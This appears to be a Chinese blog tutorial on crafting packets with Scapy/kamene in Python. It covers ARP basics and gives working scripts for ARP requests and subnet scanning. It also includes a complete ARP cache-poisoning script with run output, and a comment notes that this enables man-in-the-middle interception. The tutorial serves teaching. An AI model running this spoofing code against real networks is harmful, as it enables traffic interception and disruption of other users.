用Python构造ARP请求、扫描、欺骗

目录

  • 0. ARP介绍
  • 1. Scapy简述
  • 2. Scapy简单演示
    • 2.1 安装
    • 2.2 构造包演示
      • 2.2.1 进入kamene交互界面
      • 2.2.2 查看以太网头部
      • 2.2.3 查看 ICMP 头部
      • 2.2.4 查看 IP 头部
      • 2.2.5 查看 TCP/UDP 头部
      • 2.2.6 简单构造 ICMP 包
      • 2.2.7 简单 构造 ARP 包
  • 3. 构造 ARP 请求
  • 4. 构造 ARP 扫描
  • 5. 构造 ARP 欺骗


0. ARP介绍

首先,先回忆下TCP/IP模型,从下到上分为:数据链路层、网络层、传输层、应用层,那么ARP到底属于哪一层?有人会说是网络层,但实际是属于数据链路层,只不过还要为网络层提供服务。

ARP的主要用途是IP(32bit)地址到物理MAC(48bit)地址的映射关系。别看表面主机知道了远端IP地址就可以通信,实则先要知道远端的MAC地址(借助ARP),通过网卡到交换机构建数据链路层通信,再通过上层进行数据交互。

另外,你可能会了解到代理ARP、免费ARP、RARP这些,其中你都能搞明白他们工作原理是怎么样的嘛?
这里咱们简单回顾一下:

  • 代理ARP:一般路由器通常充当代理角色,代替远端主机响应本地的ARP请求;
  • 免费ARP:一种特殊ARP请求报文,用于检测IP冲突、硬件地址变更触发免费ARP;
  • RARP:与ARP相反,主要用于无盘工作站,请求物理MAC(48bit)地址到IP(32bit)地址的映射;

1. Scapy简述

Scapy是一个Python语言编写的工具,也是一个强大的交付式数据包处理程序,能够伪造或者解码大量的网络协议数据包,能够发送、嗅探、剖析和伪造网络数据包,如端口扫描、路由跟踪、探测、攻击或网络发现等。使用Scapy可以替代hping、arpspoof、arp-sk、arping、p0f等功能,甚至可以代替nmap、tcpdump和tshark的部分功能。此外,Scapy还有很多其他工具没有的特性,如发送无效数据帧、注入修改的802.11数据帧、在WEB上解码加密通道(VOIP)、ARP缓存攻击(VLAN)等。

Scapy的主要功能如下:

  • Scanning(扫描)
  • Fingerprinting(识别)
  • Testing(测试)
  • Packet forging(包铸造)
  • Attacking(攻击)
  • Sniffing(抓包分析)

收发数据包介绍:

  • sr():发送三层数据包,等待接受一个或者多个数据包的响应。
  • sr1( ):发送三层数据包,并仅仅只等待接受一个数据包的响应。
  • srp():发送二层数据包,并且等待响应。
  • send():仅仅发送三层数据包,系统会自动处理路由和二层信息。
  • sendp():发送二层数据包。

作为网工,你是不是经常抓包来分析某协议头部结构,现在就可以用Scapy来构造发送数据包啦。

在python3的环境下,现在叫法是 Kamene,之前叫做Scapy。

2. Scapy简单演示

2.1 安装

pip3 install -i https://pypi.douban.com/simple/ kamene  #使用豆瓣源进行安装kamene

说明:强烈建议在linux环境下安装及测试(我用的是ubuntu 16)。

2.2 构造包演示

2.2.1 进入kamene交互界面

#安装好后,直接通过kamene进入,类似python交互式界面
[email protected]:~# kamene
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
INFO: Please, report issues to https://github.com/phaethon/kamene
WARNING: IPython not available. Using standard Python shell instead.
Welcome to kamene (3.0.0)
>>> 

2.2.2 查看以太网头部

>>> Ether()
<Ether  |>
>>> _.show()    #'_' 下划线表示上一条命令执行的结果,通过show()展示结果
###[ Ethernet ]###
WARNING: Mac address to reach destination not found. Using broadcast.
  dst= ff:ff:ff:ff:ff:ff
  src= 00:00:00:00:00:00
  type= 0x9000

2.2.3 查看 ICMP 头部

>>> ICMP()
<ICMP  |>
>>> _.show()
###[ ICMP ]###
  type= echo-request
  code= 0
  chksum= None
  id= 0x0
  seq= 0x0

2.2.4 查看 IP 头部

>>> IP()
<IP  |>
>>> _.show()
###[ IP ]###
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags=
  frag= 0
  ttl= 64
  proto= ip
  chksum= None
  src= 127.0.0.1
  dst= 127.0.0.1
  \options\

2.2.5 查看 TCP/UDP 头部

>>> TCP()
<TCP  |>
>>> _.show()
###[ TCP ]###
  sport= ftp_data
  dport= http
  seq= 0
  ack= 0
  dataofs= None
  reserved= 0
  flags= S
  window= 8192
  chksum= None
  urgptr= 0
  options= {}

>>> UDP()
<UDP  |>
>>> _.show()
###[ UDP ]###
  sport= domain
  dport= domain
  len= None
  chksum= None

2.2.6 简单构造 ICMP 包

#通过 '/' 可叠加多个协议层(左底层到由上层),如Ether()/IP()/UDP()/DNS()
>>> p = sr1(IP(src='192.168.8.128' , dst='192.168.8.254')/ICMP()/b'This is a ICMP packet')
Begin emission:
..Finished to send 1 packets.
*
Received 3 packets, got 1 answers, remaining 0 packets
>>> p.show()
###[ IP ]###
  version= 4
  ihl= 5
  tos= 0x0
  len= 49
  id= 1909
  flags=
  frag= 0
  ttl= 128
  proto= icmp
  chksum= 0xa088
  src= 192.168.8.254
  dst= 192.168.8.128
  \options###[ ICMP ]###
     type= echo-reply       #收到一个replay包
     code= 0
     chksum= 0x55ad
     id= 0x0
     seq= 0x0
###[ Raw ]###
        load= 'This is a ICMP packet'

2.2.7 简单 构造 ARP 包

先看下ARP包的格式:

>>> ARP()
<ARP  |>
>>> _.show()
###[ ARP ]###
  hwtype= 0x1
  ptype= 0x800  #协议号
  hwlen= 6
  plen= 4
  op= who-has   #op=1表示Request,op=2表示Response
  hwsrc= 00:0c:29:5d:2f:55  #源MAC地址
  psrc= 192.168.8.128   #源IP地址
  hwdst= 00:00:00:00:00:00  #初始目的为广播地址
  pdst= 0.0.0.0     #缺省为空

简单构造 ARP 请求包:

>>> p = sr1(ARP(psrc='192.168.8.128',pdst='192.168.8.254'))
Begin emission:
.*Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets
>>> p.show()
###[ ARP ]###
  hwtype= 0x1
  ptype= 0x800
  hwlen= 6
  plen= 4
  op= is-at
  hwsrc= 00:50:56:e7:d0:87
  psrc= 192.168.8.254
  hwdst= 00:0c:29:5d:2f:55  #返回的是arp响应包,获取到目的映射的MAC地址
  pdst= 192.168.8.128
###[ Padding ]###
     load= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

接下来,咱们玩点复杂的。。。

3. 构造 ARP 请求

#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
#欢迎关注微信公众号:点滴技术
#这里有靠谱、有价值的、免费分享、成长的,专属于网络攻城狮的。

import logging

logging.getLogger("kamene.runtime").setLevel(logging.ERROR)  # 清除报错
from kamene.all import *
from Tools.Get_address import get_ip_address  # 获取本机IP地址
from Tools.Get_address import get_mac_address  # 获取本机MAC地址
from Tools.Scapy_iface import scapy_iface  # 获取scapy iface的名字

def arp_request(dst_addr, ifname):
    # 获取本机IP地址
    local_ip = get_ip_address(ifname)
    # 获取本机MAC地址
    local_mac = get_mac_address(ifname)
    try:
        # 发送ARP请求并等待响应
        #op=1表示请求,op=2表示响应
        #当op=1,hwsrc=表示本地mac,hwdst表示广播(首包),psrc表示本地IP,pdst表示目的IP
        result_raw = sr1(ARP(op=1,
                             hwsrc=local_mac,
                             hwdst='00:00:00:00:00:00',
                             psrc=local_ip,
                             pdst=dst_addr),
                         iface=scapy_iface(ifname),
                         timeout=1,
                         verbose=False)
        print(result_raw.show())
        #返回目的IP地址,和目的MAC地址,getlayer(ARP)取整个ARP数据包,
        return dst_addr, result_raw.getlayer(ARP).fields.get('hwsrc')

    except AttributeError:
        return dst_addr, None

if __name__ == "__main__":
    # Windows Linux均可使用
    # arp_result = arp_request('192.168.100.1', "WLAN")
    arp_result = arp_request('192.168.8.254', "ens32")
    print("IP地址:", arp_result[0], "MAC地址:", arp_result[1])

运行结果如下:

IP地址: 192.168.8.254 MAC地址: 00:50:56:e7:d0:87

4. 构造 ARP 扫描

#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
#欢迎关注微信公众号:点滴技术
#这里有靠谱、有价值的、免费分享、成长的,专属于网络攻城狮的空间

import logging
logging.getLogger("kamene.runtime").setLevel(logging.ERROR)
import ipaddress
from multiprocessing.pool import ThreadPool     #多线程
from ARP_Request import arp_request     #返回IP 和 MAC

def arp_scan(network,ifname):
    #要扫描的网段
    net = ipaddress.ip_network(network , strict=False)
    #空列表,存放字符串IP地址
    ip_list = []
    for ip in net:
        ip_list.append(str(ip))     #ip格式转为str,放入ip_list

    pool = ThreadPool(processes=100)    #线程池并发100
    result = []
    for i in ip_list:
        result.append(pool.apply_async(arp_request , args=(i,ifname)))
    pool.close()
    pool.join()

    #存放活跃的IP与MAC的字典
    scan_dict = {}
    for r in result:
        if r.get()[1] is not None:
            scan_dict[r.get()[0]] = r.get()[1]
    # print(scan_dict)
    return scan_dict

if __name__ == '__main__':
    net = '192.168.8.0/24'
    name = 'ens32'
    import time
    start_time = time.time()
    print("活动IP地址如下:")
    for ip , mac in arp_scan(network=net,ifname=name).items():
        print("IP地址: {} 是活动的,MAC地址是 {}".format(ip , mac))
    end_time = time.time()
    print('本次扫描花费时间:%.2f' % (end_time - start_time))

运行结果如下:

活动IP地址如下:
IP地址: 192.168.8.1 是活动的,MAC地址是 00:50:56:c0:00:08
IP地址: 192.168.8.254 是活动的,MAC地址是 00:50:56:e7:d0:87
本次扫描花费时间:14.52

5. 构造 ARP 欺骗

#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
#欢迎关注微信公众号:点滴技术
#这里有靠谱、有价值的、免费分享、成长的,属于网络攻城狮的空间

import logging
logging.getLogger("kamene.runtime").setLevel(logging.ERROR)  # 清除报错

from kamene.all import *
from Tools.Get_address import get_ip_address  # 导入获取本机IP地址方法
from Tools.Get_address import get_mac_address  # 导入获取本机MAC地址方法
from ARP_Request import arp_request  # 导入之前创建的ARP请求脚本
from Tools.Scapy_iface import scapy_iface  # 获取scapy iface的名字
import time
import signal

def arp_spoof(ip_1,ip_2,ifname='ens35'):
    # 申明全局变量
    global localip, localmac, dst_1_ip , dst_1_mac, dst_2_ip , dst_2_mac , local_ifname

    #赋值到全局变量
    #dst_1_ip为被毒化ARP设备的IP地址,dst_ip_2为本机伪装设备的IP地址
    #local_ifname为攻击者使用的网口名字
    dst_1_ip, dst_2_ip, local_ifname= ip_1, ip_2, ifname

    # 获取本机IP和MAC地址,并且赋值到全局变量
    localip, localmac= get_ip_address(ifname), get_mac_address(ifname)

    # 获取被欺骗ip_1的MAC地址,真实网关ip_2的MAC地址
    dst_1_mac, dst_2_mac = arp_request(ip_1,ifname)[1], arp_request(ip_2,ifname)[1]

    # 引入信号处理机制,如果出现ctl+c(signal.SIGINT),使用sigint_handler这个方法进行处理
    signal.signal(signal.SIGINT, sigint_handler)

    while True:  # 一直攻击,直到ctl+c出现!!!
        # op=2,响应ARP
        sendp(Ether(src=localmac, dst=dst_1_mac) / ARP(op=2, hwsrc=localmac, hwdst=dst_1_mac, psrc=dst_2_ip, pdst=dst_1_ip),
              iface=scapy_iface(local_ifname),
              verbose=False)

        print("发送ARP欺骗数据包!欺骗{} , {}的MAC地址已经是我本机{}的MAC地址啦!!!".format(ip_1,ip_2,ifname))
        time.sleep(1)

# 定义处理方法
def sigint_handler(signum, frame):
    # 申明全局变量
    global localip, localmac, dst_1_ip , dst_1_mac, dst_2_ip , dst_2_mac , local_ifname

    print("\n执行恢复操作!!!")
    # 发送ARP数据包,恢复被毒化设备的ARP缓存
    sendp(Ether(src=dst_2_mac, dst=dst_1_mac) / ARP(op=2, hwsrc=dst_2_mac, hwdst=dst_1_mac, psrc=dst_2_ip, pdst=dst_1_ip),
          iface=scapy_iface(local_ifname),
          verbose=False)
    print("已经恢复 {} 的ARP缓存啦".format(dst_1_ip))
    # 退出程序,跳出while True
    sys.exit()

if __name__ == "__main__":
    # 欺骗192.168.1.101,让它认为192.168.1.102的MAC地址为本机攻击者的MAC
    #如果攻击者没有路由通信就会中断,如有路由就可以窃取双方通信的信息(所谓中间人)
    arp_spoof('192.168.1.101' , '192.168.1.102' , 'ens35')

运行结果如下:

发送ARP欺骗数据包!欺骗192.168.1.101 , 192.168.1.102的MAC地址已经是我本机ens35的MAC地址啦!!!
发送ARP欺骗数据包!欺骗192.168.1.101 , 192.168.1.102的MAC地址已经是我本机ens35的MAC地址啦!!!
发送ARP欺骗数据包!欺骗192.168.1.101 , 192.168.1.102的MAC地址已经是我本机ens35的MAC地址啦!!!
发送ARP欺骗数据包!欺骗192.168.1.101 , 192.168.1.102的MAC地址已经是我本机ens35的MAC地址啦!!!
发送ARP欺骗数据包!欺骗192.168.1.101 , 192.168.1.102的MAC地址已经是我本机ens35的MAC地址啦!!!
^C
执行恢复操作!!!
已经恢复 192.168.1.101 的ARP缓存啦

ARP高速缓存表被欺骗前后效果图:

备注:持续发送ARP响应包,设备收到最新的就会更新本地ARP缓存表,所以ARP安全性太低了。

附录

官方学习资源
https://scapy.net/
http://github.com/phaethon/kamene


如果喜欢的我的文章,欢迎关注我的公众号:点滴技术,扫码关注,不定期分享

原文地址:https://www.cnblogs.com/singvis/p/11603890.html

时间: 2024-10-10 23:24:36

用Python构造ARP请求、扫描、欺骗的相关文章

python scapy的用法之ARP主机扫描和ARP欺骗

目录: 1.scapy介绍 2.安装scapy 3.scapy常用 4.ARP主机扫描 5.ARP欺骗 一.scapy介绍 scapy是一个可用于网络嗅探的非常强大的第三方库. 具有以下几个特点: 1.交互模式,用作第三方库. 2.可以用开做packet嗅探和伪造packet 3.已经再内部实现了大量的网络协议.(DNS,ARP,IP,TCP,UDP等等),可以用它来编写非常灵活实用的工具. 二.安装 pip intall scapy pip install ipython(运行命令行方式需要)

Python实现ARP攻击

目录 概述 ARP协议 IP转MAC 结构 ARP扫描 开始欺骗 中间人 其他 ARP老化 防御 windows linux 概述 高中的时候,学校有一个商店,会放开WIFI给偷偷带手机去学校的我们使用,但是因为人很多的关系,导致每次去下载东西都很慢 那时候,通过百度,知道了WIFI KILLER 这样一款软件,可以让别人上不了网,不过随着各大厂商对系统的升级之后,这个软件就失效了,尤其是这个软件需要root权限,这个在现在多数手机来说已经不可能了. 需要权限的原因就是需要发送原始套接字,但是这

构造HTTP请求Header实现“伪造来源IP”(转)

原文:http://zhangxugg-163-com.iteye.com/blog/1663687 构造 HTTP请求 Header 实现“伪造来源 IP ” 在阅读本文前,大家要有一个概念,在实现正常的TCP/IP 双方通信情况下,是无法伪造来源 IP 的,也就是说,在 TCP/IP 协议中,可以伪造数据包来源 IP ,但这会让发送出去的数据包有去无回,无法实现正常的通信.这就像我们给对方写信时,如果写出错误的发信人地址,而收信人按信封上的发信人地址回信时,原发信人是无法收到回信的. 一些D

发arp应答包欺骗别人的例子

实验原理: 对主机A发送伪造的ARP应答报文,假冒主机B的IP地址,但MAC地址设为不存在的一个硬件地址,主机A接收此报文后错误地刷新ARP高速缓存中主机B的IP地址与MAC地址的映射关系,导致主机A与主机B的网络通信中断.这种方法属于拒绝服务(Denial of Service, DoS)攻击,网络上流行的网络执法官等软件就是采用ARP欺骗机制,发送错误的网关MAC地址给非法用户,使其通信中断. 攻击者172.28.15.3以172.28.15.33的名义发起的一次ARP欺骗,可以看出,攻击者

linux原始套接字(1)-arp请求与接收

一.概述                                                   以太网的arp数据包结构: arp结构op操作参数:1为请求,2为应答. 常用的数据结构如下: 1.物理地址结构位于netpacket/packet.h 1 struct sockaddr_ll 2 { 3 unsigned short int sll_family; 4 unsigned short int sll_protocol; 5 int sll_ifindex; 6 unsi

Python中的网络扫描大杀器Scapy初探

Python中的网络扫描大杀器Scapy初探     最近经历了Twisted的打击,这个网络编程实在看不懂,都摸不透它的内在逻辑,看来网络编程不是那么好弄的.还好,看到了scapy,这种网络的大杀器,让我一看就爱不释手,这才是我需要的网络工具啊.Scapy的功能如此之多,以至于...我到现在还是没看懂.在官方网站也介绍的不多,后来搜了一下,有一本书Security Power Tools一书中,第六章介绍了Scapy,虽然简单,但是还是不明白,这两天一直在忙活着看Scapy.看了几个应用,比较

ARP 请求帧与应答帧

一.ARP ---   地址解析协议 1.工作在 数据链路层,局域网(LAN),将 IP地址 转换为 MAC(物理)地址. 2.ARP 数据报 格式: 注:ARP 帧类型:0x0806 硬件类型:链路层网络类型,1 以太网 [0x0001] 协议类型:要转换的地址类型,0x0800为IP地址,后面两个地址长度对于以太网地址(6字节)和IP地址(4字节) op字段:1 ARP请求 ,2 ARP应答 3.实例: (1)请求帧(每行的前面加了字节计数,每行16个字节): 以太网首部(14字节) 000

python模拟Get请求保存网易歌曲的url

python模拟Get请求保存网易歌曲的url 作者:vpoet 日期:大约在夏季 #coding:utf-8 import requests import json url = 'http://music.163.com//api/dj/program/byradio?radioId=271002&id=271002&ids=%5B%22271002%22%5D&limit=100&offset=0' headers = { 'Host': 'music.163.com'

tcpdump 之 arp请求,tcp的3次握手,4次断开,详解

一:环境说明: 1,my_recoder.tcpdump是我在服务器端抓包的文件 2,在这里,只显示与11.11.11.6主机相关的所有信息: 3,网络模型:同一个局域网 4,11.11.11.6 是客户机 5,11.11.11.8 是服务器 6,11.11.11.11 是网关 二:tcpdump抓包信息 [email protected]:~# tcpdump -r my_recoder.tcpdump -n  host 11.11.11.6  17:11:09.373704 ARP, Req